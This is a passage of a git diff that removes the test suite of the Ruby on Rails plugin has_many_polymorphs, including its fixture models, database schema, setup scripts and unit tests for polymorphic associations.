http://dev.rubyonrails.org/ticket/5935 -require 'eaters_foodstuff' -require 'petfood' -require 'cat' -module Aquatic; end -require 'aquatic/fish' -require 'dog' -require 'wild_boar' -require 'kitten' -require 'tabby' -require 'extension_module' -require 'other_extension_module' - -class Petfood < ActiveRecord::Base - set_primary_key 'the_petfood_primary_key' - has_many_polymorphs :eaters, - :from => [:dogs, :petfoods, :wild_boars, :kittens, - :tabbies, :"aquatic/fish"], -# :dependent => :destroy, :destroy is now the default - :rename_individual_collections => true, - :as => :foodstuff, - :foreign_key => "foodstuff_id", - :ignore_duplicates => false, - :conditions => "NULL IS NULL", - :order => "eaters_foodstuffs.updated_at ASC", - :parent_order => "petfoods.the_petfood_primary_key DESC", - :parent_conditions => "petfoods.name IS NULL OR petfoods.name != 'Snausages'", - :extend => [ExtensionModule, OtherExtensionModule, proc {}], - :join_extend => proc { - def a_method - :correct_join_result - end - }, - :parent_extend => proc { - def a_method - :correct_parent_proc_result - end - } - end diff --git a/vendor/plugins/has_many_polymorphs/test/models/tabby.rb b/vendor/plugins/has_many_polymorphs/test/models/tabby.rb deleted file mode 100644 index 3cd0f994..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/tabby.rb +++ /dev/null @@ -1,2 +0,0 @@ -class Tabby < Cat -end \ No newline at end of file diff --git a/vendor/plugins/has_many_polymorphs/test/models/wild_boar.rb b/vendor/plugins/has_many_polymorphs/test/models/wild_boar.rb deleted file mode 100644 index 27d36a53..00000000 --- a/vendor/plugins/has_many_polymorphs/test/models/wild_boar.rb +++ /dev/null @@ -1,3 +0,0 @@ -class WildBoar < ActiveRecord::Base -end - diff --git a/vendor/plugins/has_many_polymorphs/test/modules/extension_module.rb b/vendor/plugins/has_many_polymorphs/test/modules/extension_module.rb deleted file mode 100644 index 7cb4eff4..00000000 --- a/vendor/plugins/has_many_polymorphs/test/modules/extension_module.rb +++ /dev/null @@ -1,9 +0,0 @@ - -module ExtensionModule - def a_method - :correct_module_result - end - def self.a_method - :incorrect_module_result - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/modules/other_extension_module.rb b/vendor/plugins/has_many_polymorphs/test/modules/other_extension_module.rb deleted file mode 100644 index 16313bd8..00000000 --- a/vendor/plugins/has_many_polymorphs/test/modules/other_extension_module.rb +++ /dev/null @@ -1,9 +0,0 @@ - -module OtherExtensionModule - def another_method - :correct_other_module_result - end - def self.another_method - :incorrect_other_module_result - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/patches/symlinked_plugins_1.2.6.diff b/vendor/plugins/has_many_polymorphs/test/patches/symlinked_plugins_1.2.6.diff deleted file mode 100644 index 99e0df3e..00000000 --- a/vendor/plugins/has_many_polymorphs/test/patches/symlinked_plugins_1.2.6.diff +++ /dev/null @@ -1,46 +0,0 @@ -Index: /trunk/railties/lib/rails_generator/lookup.rb -=================================================================== ---- /trunk/railties/lib/rails_generator/lookup.rb (revision 4310) -+++ /trunk/railties/lib/rails_generator/lookup.rb (revision 6101) -@@ -101,5 +101,5 @@ - sources << PathSource.new(:lib, "#{::RAILS_ROOT}/lib/generators") - sources << PathSource.new(:vendor, "#{::RAILS_ROOT}/vendor/generators") -- sources << PathSource.new(:plugins, "#{::RAILS_ROOT}/vendor/plugins/**/generators") -+ sources << PathSource.new(:plugins, "#{::RAILS_ROOT}/vendor/plugins/*/**/generators") - end - sources << PathSource.new(:user, "#{Dir.user_home}/.rails/generators") -Index: /trunk/railties/lib/tasks/rails.rb -=================================================================== ---- /trunk/railties/lib/tasks/rails.rb (revision 5469) -+++ /trunk/railties/lib/tasks/rails.rb (revision 6101) -@@ -6,3 +6,3 @@ - # Load any custom rakefile extensions - Dir["#{RAILS_ROOT}/lib/tasks/**/*.rake"].sort.each { |ext| load ext } --Dir["#{RAILS_ROOT}/vendor/plugins/**/tasks/**/*.rake"].sort.each { |ext| load ext } -+Dir["#{RAILS_ROOT}/vendor/plugins/*/**/tasks/**/*.rake"].sort.each { |ext| load ext } -Index: /trunk/railties/lib/tasks/testing.rake -=================================================================== ---- /trunk/railties/lib/tasks/testing.rake (revision 5263) -+++ /trunk/railties/lib/tasks/testing.rake (revision 6101) -@@ -109,9 +109,9 @@ - t.pattern = "vendor/plugins/#{ENV['PLUGIN']}/test/**/*_test.rb" - else -- t.pattern = 'vendor/plugins/**/test/**/*_test.rb' -+ t.pattern = 'vendor/plugins/*/**/test/**/*_test.rb' - end - - t.verbose = true - end -- Rake::Task['test:plugins'].comment = "Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name)" -+ Rake::Task['test:plugins'].comment = "Run the plugin tests in vendor/plugins/*/**/test (or specify with PLUGIN=name)" - end -Index: /trunk/railties/CHANGELOG -=================================================================== ---- /trunk/railties/CHANGELOG (revision 6069) -+++ /trunk/railties/CHANGELOG (revision 6101) -@@ -1,3 +1,5 @@ - *SVN* -+ -+* Plugins may be symlinked in vendor/plugins. #4245 [brandon, progrium@gmail.com] - - * Resource generator depends on the model generator rather than duplicating it. #7269 [bscofield] diff --git a/vendor/plugins/has_many_polymorphs/test/schema.rb b/vendor/plugins/has_many_polymorphs/test/schema.rb deleted file mode 100644 index 39d869dc..00000000 --- a/vendor/plugins/has_many_polymorphs/test/schema.rb +++ /dev/null @@ -1,87 +0,0 @@ -ActiveRecord::Schema.define(:version => 0) do - create_table :petfoods, :force => true, :primary_key => :the_petfood_primary_key do |t| - t.column :name, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :bow_wows, :force => true do |t| - t.column :name, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :cats, :force => true do |t| - t.column :name, :string - t.column :cat_type, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :frogs, :force => true do |t| - t.column :name, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :wild_boars, :force => true do |t| - t.column :name, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :eaters_foodstuffs, :force => true do |t| - t.column :foodstuff_id, :integer - t.column :eater_id, :integer - t.column :some_attribute, :integer, :default => 0 - t.column :eater_type, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :fish, :force => true do |t| - t.column :name, :string - t.column :speed, :integer - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :whales, :force => true do |t| - t.column :name, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :little_whale_pupils, :force => true do |t| - t.column :whale_id, :integer - t.column :aquatic_pupil_id, :integer - t.column :aquatic_pupil_type, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :keep_your_enemies_close, :force => true do |t| - t.column :enemy_id, :integer - t.column :enemy_type, :string - t.column :protector_id, :integer - t.column :protector_type, :string - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :parentships, :force => true do |t| - t.column :parent_id, :integer - t.column :child_type, :string - t.column :kid_id, :integer - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - - create_table :people, :force => true do |t| - t.column :name, :string - t.column :age, :integer - t.column :created_at, :datetime, :null => false - t.column :updated_at, :datetime, :null => false - end - -end diff --git a/vendor/plugins/has_many_polymorphs/test/setup.rb b/vendor/plugins/has_many_polymorphs/test/setup.rb deleted file mode 100644 index 52535798..00000000 --- a/vendor/plugins/has_many_polymorphs/test/setup.rb +++ /dev/null @@ -1,14 +0,0 @@ - -# Setup integration system for the integration suite - -Dir.chdir "#{File.dirname(__FILE__)}/integration/app/" do - Dir.chdir "vendor/plugins" do - system("rm has_many_polymorphs; ln -s ../../../../../ has_many_polymorphs") - end - - system "rake db:drop --trace RAILS_GEM_VERSION=2.2.2 " - system "rake db:create --trace RAILS_GEM_VERSION=2.2.2 " - system "rake db:migrate --trace" - system "rake db:fixtures:load --trace" -end - diff --git a/vendor/plugins/has_many_polymorphs/test/test_helper.rb b/vendor/plugins/has_many_polymorphs/test/test_helper.rb deleted file mode 100644 index 546cbec6..00000000 --- a/vendor/plugins/has_many_polymorphs/test/test_helper.rb +++ /dev/null @@ -1,52 +0,0 @@ - -$VERBOSE = nil -require 'rubygems' -require 'rake' # echoe relies on Rake being present but doesn't require it itself -require 'echoe' -require 'test/unit' -require 'multi_rails_init' -#require 'ruby-debug' # uncomment if needed (for Ruby >= 1.9 use require 'debug' where needed) - -if defined? ENV['MULTIRAILS_RAILS_VERSION'] - ENV['RAILS_GEM_VERSION'] = ENV['MULTIRAILS_RAILS_VERSION'] -end - -Echoe.silence do - HERE = File.expand_path(File.dirname(__FILE__)) - $LOAD_PATH << HERE - # $LOAD_PATH << "#{HERE}/integration/app" -end - -LOG = "#{HERE}/integration/app/log/development.log" - -### For unit tests - -require 'integration/app/config/environment' -require 'test_help' - -ActiveSupport::Inflector.inflections {|i| i.irregular 'fish', 'fish' } - -$LOAD_PATH.unshift(ActiveSupport::TestCase.fixture_path = HERE + "/fixtures") -$LOAD_PATH.unshift(HERE + "/models") -$LOAD_PATH.unshift(HERE + "/modules") - -class ActiveSupport::TestCase - self.use_transactional_fixtures = !(ActiveRecord::Base.connection.is_a? ActiveRecord::ConnectionAdapters::MysqlAdapter rescue false) - self.use_instantiated_fixtures = false -end - -Echoe.silence do - load(HERE + "/schema.rb") -end - -### For integration tests - -def truncate - system("> #{LOG}") -end - -def log - File.open(LOG, 'r') do |f| - f.read - end -end diff --git a/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb b/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb deleted file mode 100644 index d24a32e7..00000000 --- a/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb +++ /dev/null @@ -1,713 +0,0 @@ -require File.dirname(__FILE__) + '/../test_helper' - -require 'dog' -require 'wild_boar' -require 'frog' -require 'cat' -require 'kitten' -require 'aquatic/whale' -require 'aquatic/fish' -require 'aquatic/pupils_whale' -require 'beautiful_fight_relationship' - -class PolymorphTest < ActiveSupport::TestCase - - set_fixture_class :bow_wows => Dog - set_fixture_class :keep_your_enemies_close => BeautifulFightRelationship - set_fixture_class :whales => Aquatic::Whale - set_fixture_class :fish => Aquatic::Fish - set_fixture_class :little_whale_pupils => Aquatic::PupilsWhale - - fixtures :cats, :bow_wows, :frogs, :wild_boars, :eaters_foodstuffs, :petfoods, - :fish, :whales, :little_whale_pupils, :keep_your_enemies_close, :people - - def setup - @association_error = ActiveRecord::Associations::PolymorphicError - @kibbles = Petfood.find(1) - @bits = Petfood.find(2) - @shamu = Aquatic::Whale.find(1) - @swimmy = Aquatic::Fish.find(1) - @rover = Dog.find(1) - @spot = Dog.find(2) - @puma = WildBoar.find(1) - @chloe = Kitten.find(1) - @alice = Kitten.find(2) - @toby = Tabby.find(3) - @froggy = Frog.find(1) - - @join_count = EatersFoodstuff.count - @kibbles_eaters_count = @kibbles.eaters.size - @bits_eaters_count = @bits.eaters.size - - @double_join_count = BeautifulFightRelationship.count - @alice_enemies_count = @alice.enemies.size - end - - def test_all_relationship_validities - # q = [] - # ObjectSpace.each_object(Class){|c| q << c if c.ancestors.include? ActiveRecord::Base } - # q.each{|c| puts "#{c.name}.reflect_on_all_associations.map(&:check_validity!)"} - Petfood.reflect_on_all_associations.map(&:check_validity!) - Tabby.reflect_on_all_associations.map(&:check_validity!) - Kitten.reflect_on_all_associations.map(&:check_validity!) - Dog.reflect_on_all_associations.map(&:check_validity!) - Canine.reflect_on_all_associations.map(&:check_validity!) - Aquatic::Fish.reflect_on_all_associations.map(&:check_validity!) - EatersFoodstuff.reflect_on_all_associations.map(&:check_validity!) - WildBoar.reflect_on_all_associations.map(&:check_validity!) - Frog.reflect_on_all_associations.map(&:check_validity!) - Cat.reflect_on_all_associations.map(&:check_validity!) - BeautifulFightRelationship.reflect_on_all_associations.map(&:check_validity!) - Person.reflect_on_all_associations.map(&:check_validity!) - Parentship.reflect_on_all_associations.map(&:check_validity!) - Aquatic::Whale.reflect_on_all_associations.map(&:check_validity!) - Aquatic::PupilsWhale.reflect_on_all_associations.map(&:check_validity!) - end - - def test_assignment - assert @kibbles.eaters.blank? - assert @kibbles.eaters.push(Cat.find_by_name('Chloe')) - assert_equal @kibbles_eaters_count += 1, @kibbles.eaters.count - - @kibbles.reload - assert_equal @kibbles_eaters_count, @kibbles.eaters.count - end - - def test_duplicate_assignment - # try to add a duplicate item when :ignore_duplicates is false - @kibbles.eaters.push(@alice) - assert @kibbles.eaters.any? {|obj| obj == @alice} - @kibbles.eaters.push(@alice) - assert_equal @kibbles_eaters_count + 2, @kibbles.eaters.count - assert_equal @join_count + 2, EatersFoodstuff.count - end - - def test_create_and_push - assert @kibbles.eaters.push(@spot) - assert_equal @kibbles_eaters_count += 1, @kibbles.eaters.count - assert @kibbles.eaters << @rover - assert @kibbles.eaters << Kitten.create(:name => "Miranda") - assert_equal @kibbles_eaters_count += 2, @kibbles.eaters.length - - @kibbles.reload - assert_equal @kibbles_eaters_count, @kibbles.eaters.length - - # test that ids and new flags were set appropriately - assert_not_nil @kibbles.eaters[0].id - assert !@kibbles.eaters[1].new_record? - end - - def test_reload - assert @kibbles.reload - assert @kibbles.eaters.reload - end - - def test_add_join_record - assert_equal Kitten, @chloe.class - assert join = EatersFoodstuff.new(:foodstuff_id => @bits.id, :eater_id => @chloe.id, :eater_type => @chloe.class.name ) - assert join.save! - assert join.id - assert_equal @join_count + 1, EatersFoodstuff.count - - #assert_equal @bits_eaters_count, @bits.eaters.size # Doesn't behave this way on latest edge anymore - assert_equal @bits_eaters_count + 1, @bits.eaters.count # SQL - - # reload; is the new association there? - assert @bits.eaters.reload - assert @bits.eaters.any? {|obj| obj == @chloe} - end - - def test_build_join_record_on_association - assert_equal Kitten, @chloe.class - assert join = @chloe.eaters_foodstuffs.build(:foodstuff => @bits) - # assert_equal join.eater_type, @chloe.class.name # will be STI parent type - assert join.save! - assert join.id - assert_equal @join_count + 1, EatersFoodstuff.count - - assert @bits.eaters.reload - assert @bits.eaters.any? {|obj| obj == @chloe} - end - -# not supporting this, since has_many :through doesn't support it either -# def test_add_unsaved -# # add an unsaved item -# assert @bits.eaters << Kitten.new(:name => "Bridget") -# assert_nil Kitten.find_by_name("Bridget") -# assert_equal @bits_eaters_count + 1, @bits.eaters.count -# -# assert @bits.save -# @bits.reload -# assert_equal @bits_eaters_count + 1, @bits.eaters.count -# -# end - - def test_self_reference - assert @kibbles.eaters << @bits - assert_equal @kibbles_eaters_count += 1, @kibbles.eaters.count - assert @kibbles.eaters.any? {|obj| obj == @bits} - @kibbles.reload - assert @kibbles.foodstuffs_of_eaters.blank? - - @bits.reload - assert @bits.foodstuffs_of_eaters.any? {|obj| obj == @kibbles} - assert_equal [@kibbles], @bits.foodstuffs_of_eaters - end - - def test_remove - assert @kibbles.eaters << @chloe - @kibbles.reload - assert @kibbles.eaters.delete(@kibbles.eaters[0]) - assert_equal @kibbles_eaters_count, @kibbles.eaters.count - end - - def test_destroy - assert @kibbles.eaters.push(@chloe) - @kibbles.reload - assert @kibbles.eaters.length > 0 - assert @kibbles.eaters[0].destroy - @kibbles.reload - assert_equal @kibbles_eaters_count, @kibbles.eaters.count - end - - def test_clear - @kibbles.eaters << [@chloe, @spot, @rover] - @kibbles.reload - assert @kibbles.eaters.clear.blank? - assert @kibbles.eaters.blank? - @kibbles.reload - assert @kibbles.eaters.blank? - end - - def test_individual_collections - assert @kibbles.eaters.push(@chloe) - # check if individual collections work - assert_equal @kibbles.eater_kittens.length, 1 - assert @kibbles.eater_dogs - assert 1, @rover.eaters_foodstuffs.count - end - - def test_individual_collections_push - assert_equal [@chloe], (@kibbles.eater_kittens << @chloe) - @kibbles.reload - assert @kibbles.eaters.any? {|obj| obj == @chloe} - assert @kibbles.eater_kittens.any? {|obj| obj == @chloe} - assert !@kibbles.eater_dogs.any? {|obj| obj == @chloe} - end - - def test_individual_collections_delete - @kibbles.eaters << [@chloe, @spot, @rover] - @kibbles.reload - assert_equal [@chloe], @kibbles.eater_kittens.delete(@chloe) - assert @kibbles.eater_kittens.empty? - @kibbles.eater_kittens.delete(@chloe) # what should this return? - - @kibbles.reload - assert @kibbles.eater_kittens.empty? - assert @kibbles.eater_dogs.any? {|obj| obj == @spot} - end - - def test_individual_collections_clear - @kibbles.eaters << [@chloe, @spot, @rover] - @kibbles.reload - - assert_equal [], @kibbles.eater_kittens.clear - assert @kibbles.eater_kittens.empty? - assert_equal 2, @kibbles.eaters.size - - assert @kibbles.eater_kittens.empty? - assert_equal 2, @kibbles.eaters.size - assert !@kibbles.eater_kittens.any? {|obj| obj == @chloe} - assert !@kibbles.eaters.any? {|obj| obj == @chloe} - - @kibbles.reload - assert @kibbles.eater_kittens.empty? - assert_equal 2, @kibbles.eaters.size - assert !@kibbles.eater_kittens.any? {|obj| obj == @chloe} - assert !@kibbles.eaters.any? {|obj| obj == @chloe} - end - - def test_childrens_individual_collections - assert Cat.find_by_name('Chloe').eaters_foodstuffs - assert @kibbles.eaters_foodstuffs - end - - def test_self_referential_join_tables - # check that the self-reference join tables go the right ways - assert_equal @kibbles_eaters_count, @kibbles.eaters_foodstuffs.count - assert_equal @kibbles.eaters_foodstuffs.count, @kibbles.eaters_foodstuffs_as_child.count - end - - def test_dependent - assert @kibbles.eaters << @chloe - @kibbles.reload - - # delete ourself and see if :dependent was obeyed - dependent_rows = @kibbles.eaters_foodstuffs - assert_equal dependent_rows.length, @kibbles.eaters.count - @join_count = EatersFoodstuff.count - - @kibbles.destroy - assert_equal @join_count - dependent_rows.length, EatersFoodstuff.count - assert_equal 0, EatersFoodstuff.find(:all, :conditions => ['foodstuff_id = ?', 1] ).length - end - - def test_normal_callbacks - assert @rover.respond_to?(:after_initialize) - assert @rover.respond_to?(:after_find) - assert @rover.after_initialize_test - assert @rover.after_find_test - end - - def test_model_callbacks_not_overridden_by_plugin_callbacks - assert 0, @bits.eaters.count - assert @bits.eaters.push(@rover) - @bits.save - @bits2 = Petfood.find_by_name("Bits") - @bits.reload - assert rover = @bits2.eaters.select { |x| x.name == "Rover" }[0] - assert rover.after_initialize_test - assert rover.after_find_test - end - - def test_number_of_join_records - assert EatersFoodstuff.create(:foodstuff_id => 1, :eater_id => 1, :eater_type => "Cat") - @join_count = EatersFoodstuff.count - assert @join_count > 0 - end - - def test_number_of_regular_records - dogs = Dog.count - assert Dog.new(:name => "Auggie").save! - assert dogs + 1, Dog.count - end - - def test_attributes_come_through_when_child_has_underscore_in_table_name - join = EatersFoodstuff.new(:foodstuff_id => @bits.id, :eater_id => @puma.id, :eater_type => @puma.class.name) - join.save! - - @bits.eaters.reload - - assert_equal "Puma", @puma.name - assert_equal "Puma", @bits.eaters.first.name - end - - - def test_before_save_on_join_table_is_not_clobbered_by_sti_base_class_fix - assert @kibbles.eaters << @chloe - assert_equal 3, @kibbles.eaters_foodstuffs.first.some_attribute - end - - def test_sti_type_counts_are_correct - @kibbles.eaters << [@chloe, @alice, @toby] - assert_equal 2, @kibbles.eater_kittens.count - assert_equal 1, @kibbles.eater_tabbies.count - assert !@kibbles.respond_to?(:eater_cats) - end - - - def test_creating_namespaced_relationship - assert @shamu.aquatic_pupils.empty? - @shamu.aquatic_pupils << @swimmy - assert_equal 1, @shamu.aquatic_pupils.length - @shamu.reload - assert_equal 1, @shamu.aquatic_pupils.length - end - - def test_namespaced_polymorphic_collection - @shamu.aquatic_pupils << @swimmy - assert @shamu.aquatic_pupils.any? {|obj| obj == @swimmy} - @shamu.reload - assert @shamu.aquatic_pupils.any? {|obj| obj == @swimmy} - - @shamu.aquatic_pupils << @spot - assert @shamu.dogs.any? {|obj| obj == @spot} - assert @shamu.aquatic_pupils.any? {|obj| obj == @swimmy} - assert_equal @swimmy, @shamu.aquatic_fish.first - assert_equal 10, @shamu.aquatic_fish.first.speed - end - - def test_deleting_namespaced_relationship - @shamu.aquatic_pupils << @swimmy - @shamu.aquatic_pupils << @spot - - @shamu.reload - @shamu.aquatic_pupils.delete @spot - assert !@shamu.dogs.any? {|obj| obj == @spot} - assert !@shamu.aquatic_pupils.any? {|obj| obj == @spot} - assert_equal 1, @shamu.aquatic_pupils.length - end - - def test_unrenamed_parent_of_namespaced_child - @shamu.aquatic_pupils << @swimmy - assert_equal [@shamu], @swimmy.whales - end - - def test_empty_double_collections - assert @puma.enemies.empty? - assert @froggy.protectors.empty? - assert @alice.enemies.empty? - assert @spot.protectors.empty? - assert @alice.beautiful_fight_relationships_as_enemy.empty? - assert @alice.beautiful_fight_relationships_as_protector.empty? - assert @alice.beautiful_fight_relationships.empty? - end - - def test_double_collection_assignment - @alice.enemies << @spot - @alice.reload - @spot.reload - assert @spot.protectors.any? {|obj| obj == @alice} - assert @alice.enemies.any? {|obj| obj == @spot} - assert !@alice.protectors.any? {|obj| obj == @alice} - assert_equal 1, @alice.beautiful_fight_relationships_as_protector.size - assert_equal 0, @alice.beautiful_fight_relationships_as_enemy.size - assert_equal 1, @alice.beautiful_fight_relationships.size - - # self reference - assert_equal 1, @alice.enemies.length - @alice.enemies.push @alice - assert @alice.enemies.any? {|obj| obj == @alice} - assert_equal 2, @alice.enemies.length - @alice.reload - assert_equal 2, @alice.beautiful_fight_relationships_as_protector.size - assert_equal 1, @alice.beautiful_fight_relationships_as_enemy.size - assert_equal 3, @alice.beautiful_fight_relationships.size - end - - def test_double_collection_build_join_record_on_association - - join = @alice.beautiful_fight_relationships_as_protector.build(:enemy => @spot) - - assert_equal @alice.class.base_class.name, join.protector_type - assert_nothing_raised { join.save! } - - assert join.id - assert_equal @double_join_count + 1, BeautifulFightRelationship.count - - assert @alice.enemies.reload - assert @alice.enemies.any? {|obj| obj == @spot} - end - - def test_double_dependency_injection -# breakpoint - end - - def test_double_collection_deletion - @alice.enemies << @spot - @alice.reload - assert @alice.enemies.any? {|obj| obj == @spot} - @alice.enemies.delete(@spot) - assert !@alice.enemies.any? {|obj| obj == @spot} - assert @alice.enemies.empty? - @alice.reload - assert !@alice.enemies.any? {|obj| obj == @spot} - assert @alice.enemies.empty? - assert_equal 0, @alice.beautiful_fight_relationships.size - end - - def test_double_collection_deletion_from_opposite_side - @alice.protectors << @puma - @alice.reload - assert @alice.protectors.any? {|obj| obj == @puma} - @alice.protectors.delete(@puma) - assert !@alice.protectors.any? {|obj| obj == @puma} - assert @alice.protectors.empty? - @alice.reload - assert !@alice.protectors.any? {|obj| obj == @puma} - assert @alice.protectors.empty? - assert_equal 0, @alice.beautiful_fight_relationships.size - end - - def test_individual_collections_created_for_double_relationship - assert @alice.dogs.empty? - @alice.enemies << @spot - - assert @alice.enemies.any? {|obj| obj == @spot} - assert !@alice.kittens.any? {|obj| obj == @alice} - - assert !@alice.dogs.any? {|obj| obj == @spot} - @alice.reload - assert @alice.dogs.any? {|obj| obj == @spot} - assert !WildBoar.find(@alice.id).dogs.any? {|obj| obj == @spot} # make sure the parent type is checked - end - - def test_individual_collections_created_for_double_relationship_from_opposite_side - assert @alice.wild_boars.empty? - @alice.protectors << @puma - @alice.reload - - assert @alice.protectors.any? {|obj| obj == @puma} - assert @alice.wild_boars.any? {|obj| obj == @puma} - - assert !Dog.find(@alice.id).wild_boars.any? {|obj| obj == @puma} # make sure the parent type is checked - end - - def test_self_referential_individual_collections_created_for_double_relationship - @alice.enemies << @alice - @alice.reload - assert @alice.enemy_kittens.any? {|obj| obj == @alice} - assert @alice.protector_kittens.any? {|obj| obj == @alice} - assert @alice.kittens.any? {|obj| obj == @alice} - assert_equal 2, @alice.kittens.size - - @alice.enemies << (@chloe = Kitten.find_by_name('Chloe')) - @alice.reload - assert @alice.enemy_kittens.any? {|obj| obj == @chloe} - assert !@alice.protector_kittens.any? {|obj| obj == @chloe} - assert @alice.kittens.any? {|obj| obj == @chloe} - assert_equal 3, @alice.kittens.size - end - - def test_child_of_polymorphic_join_can_reach_parent - @alice.enemies << @spot - @alice.reload - assert @spot.protectors.any? {|obj| obj == @alice} - end - - def test_double_collection_deletion_from_child_polymorphic_join - @alice.enemies << @spot - @spot.protectors.delete(@alice) - assert !@spot.protectors.any? {|obj| obj == @alice} - @alice.reload - assert !@alice.enemies.any? {|obj| obj == @spot} - BeautifulFightRelationship.create(:protector_id => 2, :protector_type => "Dog", :enemy_id => @spot.id, :enemy_type => @spot.class.name) - @alice.enemies << @spot - @spot.protectors.delete(@alice) - assert !@spot.protectors.any? {|obj| obj == @alice} - end - - def test_collection_query_on_unsaved_record - assert Dog.new.enemies.empty? - assert Dog.new.foodstuffs_of_eaters.empty? - end - - def test_double_individual_collections_push - assert_equal [@chloe], (@spot.protector_kittens << @chloe) - @spot.reload - assert @spot.protectors.any? {|obj| obj == @chloe} - assert @spot.protector_kittens.any? {|obj| obj == @chloe} - assert !@spot.protector_dogs.any? {|obj| obj == @chloe} - - assert_equal [@froggy], (@spot.frogs << @froggy) - @spot.reload - assert @spot.enemies.any? {|obj| obj == @froggy} - assert @spot.frogs.any? {|obj| obj == @froggy} - assert !@spot.enemy_dogs.any? {|obj| obj == @froggy} - end - - def test_double_individual_collections_delete - @spot.protectors << [@chloe, @puma] - @spot.reload - assert_equal [@chloe], @spot.protector_kittens.delete(@chloe) - assert @spot.protector_kittens.empty? - @spot.protector_kittens.delete(@chloe) # again, unclear what .delete should return - - @spot.reload - assert @spot.protector_kittens.empty? - assert @spot.wild_boars.any? {|obj| obj == @puma} - end - - def test_double_individual_collections_clear - @spot.protectors << [@chloe, @puma, @alice] - @spot.reload - assert_equal [], @spot.protector_kittens.clear - assert @spot.protector_kittens.empty? - assert_equal 1, @spot.protectors.size - @spot.reload - assert @spot.protector_kittens.empty? - assert_equal 1, @spot.protectors.size - assert !@spot.protector_kittens.any? {|obj| obj == @chloe} - assert !@spot.protectors.any? {|obj| obj == @chloe} - assert !@spot.protector_kittens.any? {|obj| obj == @alice} - assert !@spot.protectors.any? {|obj| obj == @alice} - assert @spot.protectors.any? {|obj| obj == @puma} - assert @spot.wild_boars.any? {|obj| obj == @puma} - end - - def test_single_extensions - assert_equal :correct_block_result, @shamu.aquatic_pupils.a_method - @kibbles.eaters.push(@alice) - @kibbles.eaters.push(@spot) - assert_equal :correct_join_result, @kibbles.eaters_foodstuffs.a_method - assert_equal :correct_module_result, @kibbles.eaters.a_method - assert_equal :correct_other_module_result, @kibbles.eaters.another_method - @kibbles.eaters.each do |eater| - assert_equal :correct_join_result, eater.eaters_foodstuffs.a_method - end - assert_equal :correct_parent_proc_result, @kibbles.foodstuffs_of_eaters.a_method - assert_equal :correct_parent_proc_result, @kibbles.eaters.first.foodstuffs_of_eaters.a_method - end - - def test_double_extensions - assert_equal :correct_proc_result, @spot.protectors.a_method - assert_equal :correct_module_result, @spot.enemies.a_method - assert_equal :correct_join_result, @spot.beautiful_fight_relationships_as_enemy.a_method - assert_equal :correct_join_result, @spot.beautiful_fight_relationships_as_protector.a_method - assert_equal :correct_join_result, @froggy.beautiful_fight_relationships.a_method - assert_equal :correct_join_result, @froggy.beautiful_fight_relationships_as_enemy.a_method - assert_raises(NoMethodError) {@froggy.beautiful_fight_relationships_as_protector.a_method} - end - - def test_pluralization_checks - assert_raises(@association_error) { - eval "class SomeModel < ActiveRecord::Base - has_many_polymorphs :polymorphs, :from => [:dog, :cats] - end" } - assert_raises(@association_error) { - eval "class SomeModel < ActiveRecord::Base - has_many_polymorphs :polymorph, :from => [:dogs, :cats] - end" } - assert_raises(@association_error) { - eval "class SomeModel < ActiveRecord::Base - acts_as_double_polymorphic_join :polymorph => [:dogs, :cats], :unimorphs => [:dogs, :cats] - end" } - end - - def test_error_message_on_namespaced_targets - assert_raises(@association_error) { - eval "class SomeModel < ActiveRecord::Base - has_many_polymorphs :polymorphs, :from => [:fish] - end" } - end - - def test_single_custom_finders - [@kibbles, @alice, @puma, @spot, @bits].each {|record| @kibbles.eaters << record; sleep 1} # XXX yeah i know - assert_equal @kibbles.eaters, @kibbles.eaters.find(:all, :order => "eaters_foodstuffs.created_at ASC") - assert_equal @kibbles.eaters.reverse, @kibbles.eaters.find(:all, :order => "eaters_foodstuffs.created_at DESC") - if (ActiveRecord::Base.connection.is_a? ActiveRecord::ConnectionAdapters::MysqlAdapter rescue false) - assert_equal @kibbles.eaters.sort_by(&:created_at), @kibbles.eaters.find(:all, :order => "IFNULL(bow_wows.created_at,(IFNULL(petfoods.created_at,(IFNULL(wild_boars.created_at,(IFNULL(cats.created_at,fish.created_at))))))) ASC") - end - assert_equal @kibbles.eaters.select{|x| x.is_a? Petfood}, @kibbles.eater_petfoods.find(:all, :order => "eaters_foodstuffs.created_at ASC") - end - - def test_double_custom_finders - @spot.protectors << [@chloe, @puma, @alice] - assert_equal [@chloe], @spot.protectors.find(:all, :conditions => ["cats.name = ?", @chloe.name], :limit => 1) - assert_equal [], @spot.protectors.find(:all, :conditions => ["cats.name = ?", @chloe.name], :limit => 1, :offset => 1) - assert_equal 2, @spot.protectors.find(:all, :limit => 100, :offset => 1).size - end - - def test_single_custom_finder_parameters_carry_to_individual_relationships - # XXX test nullout here - end - - def test_double_custom_finder_parameters_carry_to_individual_relationships - # XXX test nullout here - end - - def test_include_doesnt_fail - assert_nothing_raised do - @spot.protectors.find(:all, :include => :wild_boars) - end - end - - def test_abstract_method - assert_equal :correct_abstract_method_response, @spot.an_abstract_method - end - - def test_missing_target_should_raise - @kibbles.eaters << [@kibbles, @alice, @puma, @spot, @bits] - @spot.destroy_without_callbacks - assert_raises(@association_error) { @kibbles.eaters.reload } -# assert_raises(@association_error) { @kibbles.eater_dogs.reload } # bah AR - end - - def test_lazy_loading_is_lazy - 